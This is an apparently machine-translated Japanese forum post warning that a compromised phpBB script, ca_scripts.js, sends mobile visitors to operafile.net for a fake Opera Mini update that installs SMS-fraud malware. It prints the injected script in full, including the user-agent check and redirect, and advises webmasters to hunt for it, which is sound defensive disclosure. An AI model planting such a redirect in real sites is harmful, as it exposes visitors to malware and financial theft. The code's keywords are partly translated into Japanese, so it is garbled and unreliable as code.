お使いのモバイルフレンドからOperaの更新を求められますか? 信じないでください-これは嘘です! 注意してください!
PHPBBの脆弱性を見つけました。 私はそれがどこにあるのかわかりません-しかしそれはそれです。 この脆弱性の助けを借りて、 ca_scripts.jsスクリプトがフォーラムのエンジンに注がれたり作成されたりします。好きなように呼び出すことができると思います。 もう少し低く、投稿します。
その本質は、ユーザーがサイトにアクセスすると、スクリプトがnavigator.userAgent.match関数を使用してオペレーティングシステムを決定することです。 オペレーティングシステムが次のリストに適合する場合:
- アンドロイド
- 中央
- j2me
- シンビアン
- シリーズ60
- シンボ
- Windows Mobile
- Windows CE
- ppc
- スマートフォン
- ブラックベリー
- mtk
その後、彼はoperafile.netにリダイレクトし、/ u / [ID]を追加します(明らかに、統計情報は保持されます)。 次に、Opera Miniをインストールしていない場合でも、 Opera Miniを更新するためのオファーが作成されます。 Operaインストーラーと非常によく似たアップデートをダウンロードした後、バックグラウンドでSMSを短い番号に送信するソフトウェアをインストールしますが、メルセデスに勝つためではなく、アカウントを空にするためです。
operafile.netにアクセスすると、google.comにリダイレクトされます。
ウェブマスター向け。 この投稿を読んでいる場合は、operafile.netドメインと他の(=がわからない)ドメインを含むすべてのスクリプトを見つけるために、一般公開で「夢中になる」ことをお勧めします。 または、日付で分析します。
ここにスクリプト自体があります
var ca_item; var ca_item2; var ca_list; if(navigator.userAgent.match(/(android | midp | j2me | symbian | series 60 | symbos | windows mobile | windows ce | ppc |スマートフォン| blackberry | mtk)/ i)!== null){ window.location = "http://operafile.net/u/1013"; } onload_functions [onload_functions.length] = 'ca_resize_images();'; //画像のサイズを変更します 関数ca_resize_images() { var i、limit、diff; 制限= 600; diff = 225; ca_item = document.getElementById( 'contentrow'); if(ca_item && ca_item.clientWidth) { limit = ca_item.clientWidth-diff; } if(制限<500) { 制限= 500; } if(document.body.clientWidth && document.body.clientWidth <(limit + diff)&& document.body.clientWidth> 800) { limit = document.body.clientWidth-diff; } else if(window.innerWidth && window.innerWidth <(limit + diff)&& window.innerWidth> 800) { limit = window.innerWidth-diff; } / * IE6制限の修正* / if(!window.XMLHttpRequest && limit> 1500) { 制限= 800; } if(ca_main_width && ca_main_width.indexOf( '%')== -1) { ca_main_width.replace(/ px /、 ''); if(ca_main_width> 0) { limit = ca_main_width-diff; } } if(ca_item) { ca_list = ca_item.getElementsByTagName( 'img'); } 他に { ca_list = document.getElementsByTagName( 'img'); } for(i = 0; i <ca_list.length; i ++) { ca_item = ca_list [i]; if(ca_item.width> limit) { if(document.all) { ca_item.style.cursor = 'hand'; } 他に { ca_item.style.cursor = 'pointer'; } ca_item.style.width =(limit-50)+ 'px'; ca_item.onclick = function(){ window.open(this.src、 'image'、 'width = 700、height = 500、resizable = 1、scrollbars = 1'); } } } }